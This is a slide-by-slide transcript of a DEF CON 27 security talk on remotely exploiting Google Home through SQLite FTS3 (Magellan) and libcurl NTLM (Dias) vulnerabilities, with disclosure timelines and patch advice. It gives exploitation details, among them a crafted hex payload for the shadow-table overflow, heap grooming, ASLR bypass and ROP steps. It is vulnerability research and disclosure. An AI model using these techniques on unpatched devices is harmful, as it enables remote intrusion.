Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024
 
The 7 Things I Know About Cyber Security After 25 Years | April 2024
The 7 Things I Know About Cyber Security After 25 Years | April 2024The 7 Things I Know About Cyber Security After 25 Years | April 2024
The 7 Things I Know About Cyber Security After 25 Years | April 2024
 
Exploring the Future Potential of AI-Enabled Smartphone Processors
Exploring the Future Potential of AI-Enabled Smartphone ProcessorsExploring the Future Potential of AI-Enabled Smartphone Processors
Exploring the Future Potential of AI-Enabled Smartphone Processors
 
Apidays Singapore 2024 - Building Digital Trust in a Digital Economy by Veron...
Apidays Singapore 2024 - Building Digital Trust in a Digital Economy by Veron...Apidays Singapore 2024 - Building Digital Trust in a Digital Economy by Veron...
Apidays Singapore 2024 - Building Digital Trust in a Digital Economy by Veron...
 
Connector Corner: Accelerate revenue generation using UiPath API-centric busi...
Connector Corner: Accelerate revenue generation using UiPath API-centric busi...Connector Corner: Accelerate revenue generation using UiPath API-centric busi...
Connector Corner: Accelerate revenue generation using UiPath API-centric busi...
 
A Year of the Servo Reboot: Where Are We Now?
A Year of the Servo Reboot: Where Are We Now?A Year of the Servo Reboot: Where Are We Now?
A Year of the Servo Reboot: Where Are We Now?
 

DEF CON 27 - WENXIANG QIAN and YUXIANG LI HUIYU - breaking google home exploit it with sq lite magellan

  • 1. Breaking Google Home: Exploit It with SQLite(Magellan) Wenxiang Qian, Yuxiang Li, Huiyu Wu Tencent Blade Team
  • 2. About Us Wenxiang Qian (@leonwxqian) Senior security researcher at Tencent Blade Team. Focus on browser security & IoT security Interested in code auditing. Security book author. Speaker of DEF CON 26, CSS 2019 YuXiang Li (@Xbalien29) Senior security researcher at Tencent Blade Team. Focus on mobile security and IoT security Reported multiple vulnerabilities of Android. Speaker of HITB AMS 2018, XCON 2018, CSS 2019 HuiYu Wu (@NickyWu_) Senior security researcher at Tencent Blade Team Bug hunter, Winner of GeekPwn 2015. Speaker of DEF CON 26 , HITB 2018 AMS and POC 2017
  • 3. About Tencent Blade Team • Founded by Tencent Security Platform Department in 2017 • Focus on security research in the areas of AIoT, Mobile devices, Cloud virtualization, Blockchain, etc • Reported 200+ vulnerabilities to vendors such as Google, Apple, Microsoft, Amazon • We talked about how to break Amazon Echo at DEF CON 26 • Blog: https://blade.tencent.com
  • 4. Agenda • The Security Overview of Google Home • Fuzzing and Manual Auditing SQLite & Curl • Remote Exploiting Google Home with Magellan • Conclusion
  • 5. The Security Overview of Google Home
  • 6. Aug 2018 DEFCON26 “Breaking Smart Speaker : We are Listening to You” Amazon Echo - Remote Code Execution XiaoMi AI Speaker – Remote full Control (root) https://voicebot.ai/2019/02/20/amazon-increases-global-smart-speaker-sales-share-in- q4-2018-while-googles-rise-narrows-the-gap-and-apple-declines/ Global Smart Speaker Sales Share in Q4 2018
  • 8. Hardware Overview • Google Home family uses similar hardware (except Google Home Hub) • Did not find the hardware interface for debugging and flashing • We started to extract firmware directly from NAND Flash chip Google Home Mini Teardown
  • 9. Dump Firmware From NAND Flash
  • 10. Dump Firmware From NAND Flash BGA67 ADAPTER PCB
  • 11. Dump Firmware From NAND Flash RT809H Universal Programmer
  • 12. Data Extraction From Raw NAND Flash Image
  • 13. System Overview • Built-in Lite Chrome OS system(Like Chromecast) • The main functions are implemented by Chrome Browser (cast_shell) • The system update time of Google Home will be slower than that of Chrome browser for about a month
  • 14. The Security Overview of Google Home • "Bad or Good" OTA Mechanism • Part of source code is available for download • Download OTA firmware via HTTP request • It's easy to simulate an upgrade request (TLS) https://drive.google.com/open?id=0B3j4zj2IQp7MZkplRzRvcERtaU0
  • 15. The Security Overview of Google Home • Secure Boot (worth learning) • Bootloader verify (SHA256 + RSA) • Looks like there is no unlock (boot.img) • Enable Dm-verity to verify integrity (system.img)
  • 16. The Security Mechanism of Cast_shell • Sandbox mechanism ✓Setuid ✓User namespaces ✓Seccomp-BPF • Exploitation Mitigation ✓ASLR ✓NX ✓Stack Canary
  • 17. The Attack Surface of Google Home • Network ✓Http Server (8008) - CastHack ✓Cast Protocol (8009): Push a specific web page to the Chrome browser • Wireless ✓Wi-Fi or BLE Firmware - Researching Marvell Avastar Wi-Fi • Hardware ✓USB – HubCap (Chromecast Root @fail0verflow) ✓Modify Firmware by Soldering NAND Flash – Bypassing secure boot?
  • 18. Extending the Attack Surface • The Overview of CAST Protocol • Google Cast is designed for TV, movies, music, and more • Developers can develop the CAST APP and publish it to Application Store • Including sender (Mobile devices or Chrome) and receiver (Google Home)
  • 19. Extending the Attack Surface • Attack Surface of CAST Protocol • The CAST apps can be any webpage • The apps in the app store may be malicious • Sender can directly trigger CAST Protocol Remote Attack Surface: Converting an attack on a Google Home into an attack on a browser
  • 20. Extending the Attack Surface • Detailed Steps: Extending the Remote Attack Surface • Register as a developer and post a malicious app • Remotely trigger Google Home to load malicious app ✓ Inducing victims to visit malicious sender URLs via Chrome ✓ Sending the cast protocol to launch APP in LAN • RCE in Google Home's renderer locaton.href=“http://192. 168.1.56/exp.html”
  • 21. So now we only need a Chrome RCE vulnerability to exploit Google Home
  • 22. Fuzzing and Manual Auditing SQLite & Curl
  • 23. Why SQLite and Curl? • 3rd party libraries are always sweet. • Almost every device had them installed, hadn’t they? • Google Home or Google Chrome are using them too. • WebSQL makes remote attack via SQLite available in Chrome • Curl was born to be working remotely
  • 24. Previous Researches • Michał Zalewski -- AFL: Finding bugs in SQLite, the easy way • http://lcamtuf.blogspot.jp/2015/04/finding-bugs-in-sqlite-easy-way.html • BH US-17 -- “Many Birds, One Stone: Exploiting a Single SQLite Vulnerability Across Multiple Software” • https://www.blackhat.com/docs/us-17/wednesday/us-17-Feng-Many- Birds-One-Stone-Exploiting-A-Single-SQLite-Vulnerability-Across- Multiple-Software.pdf
  • 25. Fuzzing the SQLite • Nothing interesting, but crashes of triggering asserts • Accidently noticed Magellan when debugging those crashes • Raw testcase triggers the crash (beautified): • What’s those a02_content , a02_segdir, a02_segments?
  • 26. Shadow Tables • %_content %_segdir %_segments %_stat %_docsize for FTS3/4, % is replaced by table name • Accessible (read, write, delete) like standard tables • FTS3/4/5, RTREE use shadow tables to store content
  • 27. Wait… Is that a Backing-store?
  • 28. BLOBs • Representation of binary data: x'41414242' ='AABB' • In shadow tables … • They are serialized data structures (BTREEs…) • Wrong “deserialization” are often the causes of problems
  • 29. Nodes (BLOBs) Definitions • Segment B-Tree Leaf Nodes • Doclist Format
  • 30. Overview of `Magellan` • CVE-2018-20346 `merge` of FTS3 caused memory corruption • CVE-2018-20506 `match` of FTS3 caused memory corruption • CVE-2018-20505 `merge` of FTS3 caused memory corruption(2) • SQLite ticket: 1a84668dcfdebaf1 Assertion fault due to malformed PRIMARY KEY • Information and restrictions: https://blade.tencent.com/magellan/
  • 31. CVE-2018-20346 • In fts3AppendToNode • Trigger it by “merge”: INSERT INTO X(X) VALUES (“merge=1,2”) • Function tries to append a node to another • Nodes are parsed from BLOBs • The memcpy in LN310 seems vulnerable.
  • 32. CVE-2018-20346 • fts3TruncateNode get the node being processed • Node information is returned in reader object • Easily bypass fts3TermCmp check by modifying the shadow table • Control aDoclist and nDoclist in reader, to trigger the problem • It is easy. int fts3AppendToNode(…){ … memcpy(target, aDoclist, nDoclist); }
  • 33. CVE-2018-20346 • In nodeReaderNext • LN114: iOff is a “pointer” to BLOB • LN120: Read compromised data, make iOff go beyond the current blob data. • LN122: nDoclist is controllable. • LN123: Got an aDoclist points to the last char of the blob after nodeReaderNext finishes. • LN129: assert won’t stop the iOff • Now we’ve controlled nDoclist and aDoclist! LengthDataLength…… iOff @ LN120 Boundary
  • 34. CVE-2018-20346 • Back to fts3AppendToNode • aDocList and nDoclist is controlled • LN310: • Heap buffer overflow, if nDoclist > align(buflen(pNode->a)) • Raw memory leak (OOB Read), if nDoclist < align(buflen(pNode->a))
  • 35. CVE-2018-20506 & 20505 • 20506: In fts3ScanInteriorNode • 20505: In fts3SegReaderNext • Modify BLOBs in shadow tables to mislead the code flow • Integer overflow to bypass the check • Memory corruption or leaking raw memory • A little hard to exploit because the unstable overwritten position
  • 36. Auditing the libcurl • Target: Remote code execution • Find BIG functions (which often have poor coding practice) • Protocol that communicates with remote machine (attacker) • Attack vector: The simpler, the better. • Protocols fulfill our requirements: FTP, HTTPS, NTLM over HTTP, SMTP, POP3, …
  • 37. Overview of `Dias` • CVE-2018-16890 NTLM Type-2 Message Information Leak Leaking at most 64KB client memory per request to attacker, “client version Heartbleed”. • CVE-2019-3822 NTLM Type-3 Message Stack Buffer Overflow Allow attacker to leak client memory via Type-3 response, or performs remote code execution through stack or heap buffer overflow. “This is potentially in the worst case a remote code execution risk. I think this might be the worst security issue found in curl in a long time.” (Daniel’s blog)
  • 38. • LN183: Curl_read32_le Set target_info_offset with a very large value. • LN185: Integer overflow • LN196: memcpy copies data OOB (backwards). Leaking at most 64KB data per request to attacker. Eg: offset=0xffff0001 (-65535) len=0xffff (65535) CVE-2018-16890
  • 39. CVE-2019-3822 • LN519: ntlmbuf is a stack variant. • LN590: Read ntresplen from Type-2 response. • LN779: • LN781: Stack buffer overflow. if(UNSIGNED < (SIGNED - UNSIGNED)) { … } → Inexplicit type cast (from signed to unsigned) if(UNSIGNED < (UNSIGNED - UNSIGNED)) { … }
  • 40. CVE-2019-3822 • Lots of stack variables following by ntlmbuf • Stack buffer overflow happens in the middle of the function MSVC GCC Overwrite direction is related to compiler LN492 LN862LN781 Heap/Stack operations x 5 Many function calls uses stack variables here…
  • 42. Exploiting the Magellan on Google Home • Review the details of CVE-2018-20346 • Control pNode->a, pNode->n, aDoclist, nDoclist, via "update x_segdir set root=x'HEX'" 00 04 31 32 33 34 02 00 00 00 01 01 01 00 01 01 01 01 00 80 02 aa aa aa aa aa pNode->a[]: Heap Fengshui aDoclist[]: Overflow or Leak Memory nDoclist: 256 (Varint) 80 02 01 01 pNode->n: Buffer offset
  • 43. Exploiting the Magellan on Google Home • Available Function Pointer • simple_tokenizer is a structure on the heap ✓ create virtual table x using fts3 (a, b); • The tokenizer's callback looks interesting simple_tokenizer base delim sqlite3_tokenizer pModule tokenizer_module iVersion xCreate xDestroy xOpen … Callback function (simple_tokenizer *) sqlite3_malloc(sizeof(*t));
  • 44. Exploiting the Magellan on Google Home • PC Hijacking • Operating FTS3 table after heap overflow • Hijacking before memory free static int fts3TruncateSegment( Fts3Table *p, sqlite3_int64 iAbsLevel, int iIdx, const char *zTerm, int nTerm){ …… if( rc==SQLITE_OK ){ sqlite3_stmt *pChomp = 0; rc = fts3SqlStmt(p, SQL_CHOMP_SEGDIR, &pChomp, 0); if( rc==SQLITE_OK ){ …… rc = sqlite3_reset(pChomp); sqlite3_bind_null(pChomp, 2); } } sqlite3_free(root.a); sqlite3_free(block.a); } Using the SQL TRIGGER to perform fts3 operations before executing SQL_CHOMP_SEGDIR
  • 45. Exploiting the Magellan on Google Home • Heap Fengshui • tmalloc as the heap management algorithm • Memory layout by operating fts3 tables • Hijacking PC via SQL TRIGGER Create multiple fts3 tables Drop the previous fts3 table Reassigning payload Triggers the operation of fts3 Hijacking PC Overwriting the simple_tokenizer Calling xOpen via SQL TRIGGER R0 / R11 / PC can be controlled
  • 46. Exploiting the Magellan on Google Home • Bypass ASLR • Try to adjust the nDoclist, pNode->a and leak the memory after heap • Leaking the address of cast_shell (For ROP gadgets) • Leaking the address of last heap (For heap spray)
  • 47. Exploiting the Magellan on Google Home • Heap Spray • Insert into the table • ROP • Cast_shell's gadget RCE in Google Home's renderer
  • 48. Exploiting the Magellan on Google Home Hijacking PC via controlled R0/R11 Running shellcode to modify "navigator.appName“ to AAAA • RCE in Google Home's renderer
  • 49. APPID=1, Leak.html APPID=2, Exp.html 1. Launch APPID=1 2. Loading Leak.html 3. Launch APPID=2 4. Loading Exp.html Cast Hack UPnP forwarding Attacker Attacker Exploiting the Magellan on Google Home Visiting Sender URL
  • 51. Magellan • Timeline • Enhancements • SQLite introduced defense in-depth flag SQLITE_DBCONFIG_DEFENSIVE, disallowing modify shadow tables from untrusted source. • SQLITE_DBCONFIG_DEFENSIVE (default OFF in sqlite, for backwards compatibility) • Good News: default ON in Chrome from commit a06c5187775536a68f035f16cdb8bc47b9bfad24 • Google refactored the structured fuzzer, found many vulnerabilities in SQLite. 1st Nov Reported to Google 3rd Nov Reported to SQLite 5th Nov Fixed by SQLite 3.25.3 28th Nov Fixed in Chromium Defense In-Depth by SQLite 1st Dec SQLite 3.26.0 w/ Defense In-Depth 3rd Dec Chrome 71.0.3578.80 released 20th Dec $10337 Reward by Google 21st Dec CVEs assigned
  • 52. Dias • Timeline 31st Dec Reported to Curl 2nd Jan Confirmed by Curl 3rd Jan 1 of 2 vulns fixed 16th Jan 2 of 2 vulns fixed 30th Jan CVEs assigned 6th Feb Curl 7.64.0 released 8th Feb Security page released
  • 53. Responsible Disclosure • Notified CNCERT to urge vendors disable the vulnerable FTS3 or WebSQL before the patch comes out (if they don’t use these features). • Notified security team of Apple, Intel, Facebook, Microsoft, etc. about how to fix the problem or how to mitigate the threats in some of their products.
  • 54. Security Advice • Enhance your system with the newest available defense in-depth mechanism in time • Keep your third-party libraries up-to-date • Improve the quality of security auditing and testing of third-party library • Introduce security specifications into development and testing